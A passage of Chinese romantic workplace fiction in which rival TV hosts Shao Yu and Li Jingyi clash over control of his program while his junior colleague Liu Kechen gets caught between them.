邵聿严肃的样子让李璟意忍不住笑出了声,“你还不知道吗?” 她顿了顿,满意地欣赏着邵聿的困惑,故作神秘地说道:“我已经向台里申请了,对你们最后一期邀请的重点嘉宾,做一次新闻专访。” “什么?”邵聿冷冷地盯着她耀武扬威的样子,面无表情道:“这是我的节目,领导不可能同意……” “不好意思,领导已经同意了。哦,对了,作为‘回报’,新闻部会给你提供二十万节目经费,用于场地租赁。”李璟意将手肘撑在桌子上,身子向他的方向欠去,一字一顿地说道:“从现在开始,这也是我的节目了。” “聿哥,聿哥!”刘恪辰一边喊,一边追向前方大步流星的邵聿。 刚才的筹备会最终不欢而散,尽管还是确定下来租用VeilMansion的场地,但室内的气压早已降至冰点,随着邵聿一声“散会”,所有人同时打了个冷战。 关于邵聿和李璟意之间的竞争,刘恪辰在进台第一天就被同事们好心提醒“千万不要让他们的工作有交集,也不要掺和他们俩的斗争”,这些时日来他从未踩雷。 只不过跟着邵聿学了这么久,如今对方已经来抢饭碗了,刘恪辰决定起码要从言语上支持一下自己的带教。 他跟在邵聿高大挺拔的身影之后,一路小跑赶到他身旁,“聿哥别生气,她一个新闻部的,来综合部也就是凑凑热闹,不可能动摇你综合部一哥的地位。” “哦,是吗?”两人走过拐角时,迎面出现的女人吓得刘恪辰险些把贵重的摄像机摔在地上。 李璟意双手背在身后,一步步向刘恪辰逼近,故意抬起头,捕捉着他躲闪的视线,“你的意思是,我的主持功底不如邵聿?” 刘恪辰绝望地闭上双眼,一瞬间甚至已经想好,离职的箱子里该带走哪些个人物品。